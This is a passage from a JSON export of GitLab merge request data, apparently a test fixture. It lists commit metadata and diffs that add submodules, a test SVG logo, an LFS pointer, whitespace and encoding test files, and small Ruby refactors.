Jankovski","committer_email":"marin@gitlab.com","commit_author":{"name":"Marin Jankovski","email":"marin@gitlab.com"},"committer":{"name":"Marin Jankovski","email":"marin@gitlab.com"}},{"merge_request_diff_id":14,"relative_order":2,"sha":"048721d90c449b244b7b4c53a9186b04330174ec","message":"LFS object pointer.\n","authored_date":"2015-12-07T11:54:28.000+01:00","author_name":"Marin Jankovski","author_email":"maxlazio@gmail.com","committed_date":"2015-12-07T11:54:28.000+01:00","committer_name":"Marin Jankovski","committer_email":"maxlazio@gmail.com","commit_author":{"name":"Marin Jankovski","email":"maxlazio@gmail.com"},"committer":{"name":"Marin Jankovski","email":"maxlazio@gmail.com"}},{"merge_request_diff_id":14,"relative_order":3,"sha":"5f923865dde3436854e9ceb9cdb7815618d4e849","message":"GitLab currently doesn't support patches that involve a merge commit: add a commit here\n","authored_date":"2015-11-13T16:27:12.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T16:27:12.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":14,"relative_order":4,"sha":"d2d430676773caa88cdaf7c55944073b2fd5561a","message":"Merge branch 'add-svg' into 'master'\r\n\r\nAdd GitLab SVG\r\n\r\nAdded to test preview of sanitized SVG images\r\n\r\nSee merge request !5","authored_date":"2015-11-13T08:50:17.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T08:50:17.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":14,"relative_order":5,"sha":"2ea1f3dec713d940208fb5ce4a38765ecb5d3f73","message":"Add GitLab SVG\n","authored_date":"2015-11-13T08:39:43.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T08:39:43.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":14,"relative_order":6,"sha":"59e29889be61e6e0e5e223bfa9ac2721d31605b8","message":"Merge branch 'whitespace' into 'master'\r\n\r\nadd whitespace test file\r\n\r\nSorry, I did a mistake.\r\nGit ignore empty files.\r\nSo I add a new whitespace test file.\r\n\r\nSee merge request !4","authored_date":"2015-11-13T07:21:40.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T07:21:40.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":14,"relative_order":7,"sha":"66eceea0db202bb39c4e445e8ca28689645366c5","message":"add spaces in whitespace file\n","authored_date":"2015-11-13T06:01:27.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T06:01:27.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com","commit_author":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"},"committer":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"}},{"merge_request_diff_id":14,"relative_order":8,"sha":"08f22f255f082689c0d7d39d19205085311542bc","message":"remove empty file.(beacase git ignore empty file)\nadd whitespace test file.\n","authored_date":"2015-11-13T06:00:16.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T06:00:16.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com","commit_author":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"},"committer":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"}},{"merge_request_diff_id":14,"relative_order":9,"sha":"19e2e9b4ef76b422ce1154af39a91323ccc57434","message":"Merge branch 'whitespace' into 'master'\r\n\r\nadd spaces\r\n\r\nTo test this pull request.(https://github.com/gitlabhq/gitlabhq/pull/9757)\r\nJust add whitespaces.\r\n\r\nSee merge request !3","authored_date":"2015-11-13T05:23:14.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T05:23:14.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":14,"relative_order":10,"sha":"c642fe9b8b9f28f9225d7ea953fe14e74748d53b","message":"add whitespace in empty\n","authored_date":"2015-11-13T05:08:45.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T05:08:45.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com","commit_author":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"},"committer":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"}},{"merge_request_diff_id":14,"relative_order":11,"sha":"9a944d90955aaf45f6d0c88f30e27f8d2c41cec0","message":"add empty file\n","authored_date":"2015-11-13T05:08:04.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T05:08:04.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com","commit_author":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"},"committer":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"}},{"merge_request_diff_id":14,"relative_order":12,"sha":"c7fbe50c7c7419d9701eebe64b1fdacc3df5b9dd","message":"Add ISO-8859 test file\n","authored_date":"2015-08-25T17:53:12.000+02:00","author_name":"Stan Hu","author_email":"stanhu@packetzoom.com","committed_date":"2015-08-25T17:53:12.000+02:00","committer_name":"Stan Hu","committer_email":"stanhu@packetzoom.com","commit_author":{"name":"Stan Hu","email":"stanhu@packetzoom.com"},"committer":{"name":"Stan Hu","email":"stanhu@packetzoom.com"}},{"merge_request_diff_id":14,"relative_order":13,"sha":"e56497bb5f03a90a51293fc6d516788730953899","message":"Merge branch 'tree_helper_spec' into 'master'\n\nAdd directory structure for tree_helper spec\n\nThis directory structure is needed for a testing the method flatten_tree(tree) in the TreeHelper module\n\nSee [merge request #275](https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/275#note_732774)\n\nSee merge request !2\n","authored_date":"2015-01-10T22:23:29.000+01:00","author_name":"Sytse Sijbrandij","author_email":"sytse@gitlab.com","committed_date":"2015-01-10T22:23:29.000+01:00","committer_name":"Sytse Sijbrandij","committer_email":"sytse@gitlab.com","commit_author":{"name":"Sytse Sijbrandij","email":"sytse@gitlab.com"},"committer":{"name":"Sytse Sijbrandij","email":"sytse@gitlab.com"}},{"merge_request_diff_id":14,"relative_order":14,"sha":"4cd80ccab63c82b4bad16faa5193fbd2aa06df40","message":"add directory structure for tree_helper spec\n","authored_date":"2015-01-10T21:28:18.000+01:00","author_name":"marmis85","author_email":"marmis85@gmail.com","committed_date":"2015-01-10T21:28:18.000+01:00","committer_name":"marmis85","committer_email":"marmis85@gmail.com","commit_author":{"name":"marmis85","email":"marmis85@gmail.com"},"committer":{"name":"marmis85","email":"marmis85@gmail.com"}},{"merge_request_diff_id":14,"relative_order":15,"sha":"5937ac0a7beb003549fc5fd26fc247adbce4a52e","message":"Add submodule from gitlab.com\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T10:01:38.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T10:01:38.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com","commit_author":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"},"committer":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"}},{"merge_request_diff_id":14,"relative_order":16,"sha":"570e7b2abdd848b95f2f578043fc23bd6f6fd24d","message":"Change some files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:57:31.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:57:31.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com","commit_author":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"},"committer":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"}},{"merge_request_diff_id":14,"relative_order":17,"sha":"6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9","message":"More submodules\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:54:21.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:54:21.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com","commit_author":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"},"committer":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"}},{"merge_request_diff_id":14,"relative_order":18,"sha":"d14d6c0abdd253381df51a723d58691b2ee1ab08","message":"Remove ds_store files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:49:50.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:49:50.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com","commit_author":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"},"committer":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"}},{"merge_request_diff_id":14,"relative_order":19,"sha":"c1acaa58bbcbc3eafe538cb8274ba387047b69f8","message":"Ignore DS files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:48:32.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:48:32.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com","commit_author":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"},"committer":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"}}],"merge_request_diff_files":[{"merge_request_diff_id":14,"relative_order":0,"utf8_diff":"Binary files a/.DS_Store and /dev/null differ\n","new_path":".DS_Store","old_path":".DS_Store","a_mode":"100644","b_mode":"0","new_file":false,"renamed_file":false,"deleted_file":true,"too_large":false},{"merge_request_diff_id":14,"relative_order":1,"utf8_diff":"--- a/.gitignore\n+++ b/.gitignore\n@@ -17,3 +17,4 @@ rerun.txt\n pickle-email-*.html\n .project\n config/initializers/secret_token.rb\n+.DS_Store\n","new_path":".gitignore","old_path":".gitignore","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":2,"utf8_diff":"--- a/.gitmodules\n+++ b/.gitmodules\n@@ -1,3 +1,9 @@\n [submodule \"six\"]\n \tpath = six\n \turl = git://github.com/randx/six.git\n+[submodule \"gitlab-shell\"]\n+\tpath = gitlab-shell\n+\turl = https://github.com/gitlabhq/gitlab-shell.git\n+[submodule \"gitlab-grack\"]\n+\tpath = gitlab-grack\n+\turl = https://gitlab.com/gitlab-org/gitlab-grack.git\n","new_path":".gitmodules","old_path":".gitmodules","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":3,"utf8_diff":"--- a/CHANGELOG\n+++ b/CHANGELOG\n@@ -1,4 +1,6 @@\n-v 6.7.0\n+v6.8.0\n+\n+v6.7.0\n - Add support for Gemnasium as a Project Service (Olivier Gonzalez)\n - Add edit file button to MergeRequest diff\n - Public groups (Jason Hollingsworth)\n","new_path":"CHANGELOG","old_path":"CHANGELOG","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":4,"utf8_diff":"--- /dev/null\n+++ b/encoding/iso8859.txt\n@@ -0,0 +1 @@\n+Äü\n","new_path":"encoding/iso8859.txt","old_path":"encoding/iso8859.txt","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":5,"utf8_diff":"Binary files a/files/.DS_Store and /dev/null differ\n","new_path":"files/.DS_Store","old_path":"files/.DS_Store","a_mode":"100644","b_mode":"0","new_file":false,"renamed_file":false,"deleted_file":true,"too_large":false},{"merge_request_diff_id":14,"relative_order":6,"utf8_diff":"--- /dev/null\n+++ b/files/images/wm.svg\n@@ -0,0 +1,78 @@\n+<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n+<svg width=\"1300px\" height=\"680px\" viewBox=\"0 0 1300 680\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns:sketch=\"http://www.bohemiancoding.com/sketch/ns\">\n+ <!-- Generator: Sketch 3.2.2 (9983) - http://www.bohemiancoding.com/sketch -->\n+ <title>wm</title>\n+ <desc>Created with Sketch.</desc>\n+ <defs>\n+ <path id=\"path-1\" d=\"M-69.8,1023.54607 L1675.19996,1023.54607 L1675.19996,0 L-69.8,0 L-69.8,1023.54607 L-69.8,1023.54607 Z\"></path>\n+ </defs>\n+ <g id=\"Page-1\" stroke=\"none\" stroke-width=\"1\" fill=\"none\" fill-rule=\"evenodd\" sketch:type=\"MSPage\">\n+ <path d=\"M1300,680 L0,680 L0,0 L1300,0 L1300,680 L1300,680 Z\" id=\"bg\" fill=\"#30353E\" sketch:type=\"MSShapeGroup\"></path>\n+ <g id=\"gitlab_logo\" sketch:type=\"MSLayerGroup\" transform=\"translate(-262.000000, -172.000000)\">\n+ <g id=\"g10\" transform=\"translate(872.500000, 512.354581) scale(1, -1) translate(-872.500000, -512.354581) translate(0.000000, 0.290751)\">\n+ <g id=\"g12\" transform=\"translate(1218.022652, 440.744871)\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\">\n+ <path d=\"M-50.0233338,141.900706 L-69.07059,141.900706 L-69.0100967,0.155858152 L8.04444805,0.155858152 L8.04444805,17.6840847 L-49.9628405,17.6840847 L-50.0233338,141.900706 L-50.0233338,141.900706 Z\" id=\"path14\"></path>\n+ </g>\n+ <g id=\"g16\">\n+ <g id=\"g18-Clipped\">\n+ <mask id=\"mask-2\" sketch:name=\"path22\" fill=\"white\">\n+ <use xlink:href=\"#path-1\"></use>\n+ </mask>\n+ <g id=\"path22\"></g>\n+ <g id=\"g18\" mask=\"url(#mask-2)\">\n+ <g transform=\"translate(382.736659, 312.879425)\">\n+ <g id=\"g24\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(852.718192, 124.992771)\">\n+ <path d=\"M63.9833317,27.9148929 C59.2218085,22.9379001 51.2134221,17.9597442 40.3909323,17.9597442 C25.8888194,17.9597442 20.0453962,25.1013043 20.0453962,34.4074318 C20.0453962,48.4730484 29.7848226,55.1819277 50.5642821,55.1819277 C54.4602853,55.1819277 60.7364685,54.7492469 63.9833317,54.1002256 L63.9833317,27.9148929 L63.9833317,27.9148929 Z M44.2869356,113.827628 C28.9053426,113.827628 14.7975996,108.376082 3.78897657,99.301416 L10.5211864,87.6422957 C18.3131929,92.1866076 27.8374026,96.7320827 41.4728323,96.7320827 C57.0568452,96.7320827 63.9833317,88.7239978 63.9833317,75.3074024 L63.9833317,68.3821827 C60.9528485,69.0312039 54.6766653,69.4650479 50.7806621,69.4650479 C17.4476729,69.4650479 0.565379986,57.7791759 0.565379986,33.3245665 C0.565379986,11.4683685 13.9844297,0.43151772 34.3299658,0.43151772 C48.0351955,0.43151772 61.1692285,6.70771614 65.7143717,16.8780421 L69.1776149,3.02876588 L82.5978279,3.02876588 L82.5978279,75.5237428 C82.5978279,98.462806 72.6408582,113.827628 44.2869356,113.827628 L44.2869356,113.827628 Z\" id=\"path26\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g28\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(959.546624, 124.857151)\">\n+ <path d=\"M37.2266657,17.4468081 C30.0837992,17.4468081 23.8064527,18.3121698 19.0449295,20.4767371 L19.0449295,79.2306079 L19.0449295,86.0464943 C25.538656,91.457331 33.5470425,95.3526217 43.7203922,95.3526217 C62.1173451,95.3526217 69.2602116,82.3687072 69.2602116,61.3767077 C69.2602116,31.5135879 57.7885819,17.4468081 37.2266657,17.4468081 M45.2315622,113.963713 C28.208506,113.963713 19.0449295,102.384849 19.0449295,102.384849 L19.0449295,120.67143 L18.9844362,144.908535 L10.3967097,144.908535 L0.371103324,144.908535 L0.431596656,6.62629771 C9.73826309,2.73100702 22.5081728,0.567602823 36.3611458,0.567602823 C71.8579349,0.567602823 88.9566078,23.2891625 88.9566078,62.4584098 C88.9566078,93.4043948 73.1527248,113.963713 45.2315622,113.963713\" id=\"path30\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g32\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(509.576747, 125.294950)\">\n+ <path d=\"M68.636665,129.10638 C85.5189579,129.10638 96.3414476,123.480366 103.484314,117.853189 L111.669527,132.029302 C100.513161,141.811145 85.5073245,147.06845 69.5021849,147.06845 C29.0274926,147.06845 0.673569983,122.3975 0.673569983,72.6252464 C0.673569983,20.4709215 31.2622559,0.12910638 66.2553217,0.12910638 C83.7879179,0.12910638 98.7227909,4.24073748 108.462217,8.35236859 L108.063194,64.0763105 L108.063194,70.6502677 L108.063194,81.6057001 L56.1168719,81.6057001 L56.1168719,64.0763105 L89.2323178,64.0763105 L89.6313411,21.7701271 C85.3025779,19.6055598 77.7269514,17.8748364 67.554765,17.8748364 C39.4172223,17.8748364 20.5863462,35.5717154 20.5863462,72.8415868 C20.5863462,110.711628 40.0663623,129.10638 68.636665,129.10638\" id=\"path34\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g36\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(692.388992, 124.376085)\">\n+ <path d=\"M19.7766662,145.390067 L1.16216997,145.390067 L1.2226633,121.585642 L1.2226633,111.846834 L1.2226633,106.170806 L1.2226633,96.2656714 L1.2226633,39.5681976 L1.2226633,39.3518572 C1.2226633,16.4127939 11.1796331,1.04797161 39.5335557,1.04797161 C43.4504989,1.04797161 47.2836822,1.40388649 51.0051854,2.07965952 L51.0051854,18.7925385 C48.3109055,18.3796307 45.4351455,18.1446804 42.3476589,18.1446804 C26.763646,18.1446804 19.8371595,26.1516022 19.8371595,39.5681976 L19.8371595,96.2656714 L51.0051854,96.2656714 L51.0051854,111.846834 L19.8371595,111.846834 L19.7766662,145.390067 L19.7766662,145.390067 Z\" id=\"path38\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <path d=\"M646.318899,128.021188 L664.933395,128.021188 L664.933395,236.223966 L646.318899,236.223966 L646.318899,128.021188 L646.318899,128.021188 Z\" id=\"path40\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ <path d=\"M646.318899,251.154944 L664.933395,251.154944 L664.933395,269.766036 L646.318899,269.766036 L646.318899,251.154944 L646.318899,251.154944 Z\" id=\"path42\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ <g id=\"g44\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(0.464170, 0.676006)\">\n+ <path d=\"M429.269989,169.815599 L405.225053,243.802859 L357.571431,390.440955 C355.120288,397.984955 344.444378,397.984955 341.992071,390.440955 L294.337286,243.802859 L136.094873,243.802859 L88.4389245,390.440955 C85.9877812,397.984955 75.3118715,397.984955 72.8595648,390.440955 L25.2059427,243.802859 L1.16216997,169.815599 C-1.03187664,163.067173 1.37156997,155.674379 7.11261982,151.503429 L215.215498,0.336141836 L423.319539,151.503429 C429.060589,155.674379 431.462873,163.067173 429.269989,169.815599\" id=\"path46\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g48\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(135.410135, 1.012147)\">\n+ <path d=\"M80.269998,0 L80.269998,0 L159.391786,243.466717 L1.14820997,243.466717 L80.269998,0 L80.269998,0 Z\" id=\"path50\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g52\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012147)\">\n+ <g id=\"path54\"></g>\n+ </g>\n+ <g id=\"g56\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(24.893471, 1.012613)\">\n+ <path d=\"M190.786662,0 L111.664874,243.465554 L0.777106647,243.465554 L190.786662,0 L190.786662,0 Z\" id=\"path58\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g60\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012613)\">\n+ <g id=\"path62\"></g>\n+ </g>\n+ <g id=\"g64\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(0.077245, 0.223203)\">\n+ <path d=\"M25.5933327,244.255313 L25.5933327,244.255313 L1.54839663,170.268052 C-0.644486651,163.519627 1.75779662,156.126833 7.50000981,151.957046 L215.602888,0.789758846 L25.5933327,244.255313 L25.5933327,244.255313 Z\" id=\"path66\" fill=\"#FCA326\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g68\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012147)\">\n+ <g id=\"path70\"></g>\n+ </g>\n+ <g id=\"g72\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(25.670578, 244.478283)\">\n+ <path d=\"M0,0 L110.887767,0 L63.2329818,146.638096 C60.7806751,154.183259 50.1047654,154.183259 47.6536221,146.638096 L0,0 L0,0 Z\" id=\"path74\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g76\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012613)\">\n+ <path d=\"M0,0 L79.121788,243.465554 L190.009555,243.465554 L0,0 L0,0 Z\" id=\"path78\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g80\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(214.902910, 0.223203)\">\n+ <path d=\"M190.786662,244.255313 L190.786662,244.255313 L214.831598,170.268052 C217.024481,163.519627 214.622198,156.126833 208.879985,151.957046 L0.777106647,0.789758846 L190.786662,244.255313 L190.786662,244.255313 Z\" id=\"path82\" fill=\"#FCA326\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g84\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(294.009575, 244.478283)\">\n+ <path d=\"M111.679997,0 L0.79222998,0 L48.4470155,146.638096 C50.8993221,154.183259 61.5752318,154.183259 64.0263751,146.638096 L111.679997,0 L111.679997,0 Z\" id=\"path86\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+</svg>\n\\ No newline at end of file\n","new_path":"files/images/wm.svg","old_path":"files/images/wm.svg","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":7,"utf8_diff":"--- /dev/null\n+++ b/files/lfs/lfs_object.iso\n@@ -0,0 +1,4 @@\n+version https://git-lfs.github.com/spec/v1\n+oid sha256:91eff75a492a3ed0dfcb544d7f31326bc4014c8551849c192fd1e48d4dd2c897\n+size 1575078\n+\n","new_path":"files/lfs/lfs_object.iso","old_path":"files/lfs/lfs_object.iso","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":8,"utf8_diff":"--- a/files/ruby/popen.rb\n+++ b/files/ruby/popen.rb\n@@ -6,12 +6,18 @@ module Popen\n \n def popen(cmd, path=nil)\n unless cmd.is_a?(Array)\n- raise \"System commands must be given as an array of strings\"\n+ raise RuntimeError, \"System commands must be given as an array of strings\"\n end\n \n path ||= Dir.pwd\n- vars = { \"PWD\" => path }\n- options = { chdir: path }\n+\n+ vars = {\n+ \"PWD\" => path\n+ }\n+\n+ options = {\n+ chdir: path\n+ }\n \n unless File.directory?(path)\n FileUtils.mkdir_p(path)\n@@ -19,6 +25,7 @@ module Popen\n \n @cmd_output = \"\"\n @cmd_status = 0\n+\n Open3.popen3(vars, *cmd, options) do |stdin, stdout, stderr, wait_thr|\n @cmd_output << stdout.read\n @cmd_output << stderr.read\n","new_path":"files/ruby/popen.rb","old_path":"files/ruby/popen.rb","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":9,"utf8_diff":"--- a/files/ruby/regex.rb\n+++ b/files/ruby/regex.rb\n@@ -19,14 +19,12 @@ module Gitlab\n end\n \n def archive_formats_regex\n- #|zip|tar| tar.gz | tar.bz2 |\n- /(zip|tar|tar\\.gz|tgz|gz|tar\\.bz2|tbz|tbz2|tb2|bz2)/\n+ /(zip|tar|7z|tar\\.gz|tgz|gz|tar\\.bz2|tbz|tbz2|tb2|bz2)/\n end\n \n def git_reference_regex\n # Valid git ref regex, see:\n # https://www.kernel.org/pub/software/scm/git/docs/git-check-ref-format.html\n-\n %r{\n (?!\n (?# doesn't begins with)\n","new_path":"files/ruby/regex.rb","old_path":"files/ruby/regex.rb","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":10,"utf8_diff":"--- /dev/null\n+++ b/files/whitespace\n@@ -0,0 +1 @@\n+test \n","new_path":"files/whitespace","old_path":"files/whitespace","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":11,"utf8_diff":"--- /dev/null\n+++ b/foo/bar/.gitkeep\n","new_path":"foo/bar/.gitkeep","old_path":"foo/bar/.gitkeep","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":12,"utf8_diff":"--- /dev/null\n+++ b/gitlab-grack\n@@ -0,0 +1 @@\n+Subproject commit 645f6c4c82fd3f5e06f67134450a570b795e55a6\n","new_path":"gitlab-grack","old_path":"gitlab-grack","a_mode":"0","b_mode":"160000","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":13,"utf8_diff":"--- /dev/null\n+++ b/gitlab-shell\n@@ -0,0 +1 @@\n+Subproject commit 79bceae69cb5750d6567b223597999bfa91cb3b9\n","new_path":"gitlab-shell","old_path":"gitlab-shell","a_mode":"0","b_mode":"160000","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":14,"utf8_diff":"--- /dev/null\n+++ b/test\n","new_path":"test","old_path":"test","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false}],"merge_request_id":14,"created_at":"2016-06-14T15:02:24.770Z","updated_at":"2016-06-14T15:02:25.007Z","base_commit_sha":"ae73cb07c9eeaf35924a10f713b364d32b2dd34f","real_size":"15"},"events":[{"id":224,"target_type":"MergeRequest","target_id":14,"project_id":36,"created_at":"2016-06-14T15:02:25.113Z","updated_at":"2016-06-14T15:02:25.113Z","action":1,"author_id":1},{"id":174,"target_type":"MergeRequest","target_id":14,"project_id":5,"created_at":"2016-06-14T15:02:25.113Z","updated_at":"2016-06-14T15:02:25.113Z","action":1,"author_id":20}]}
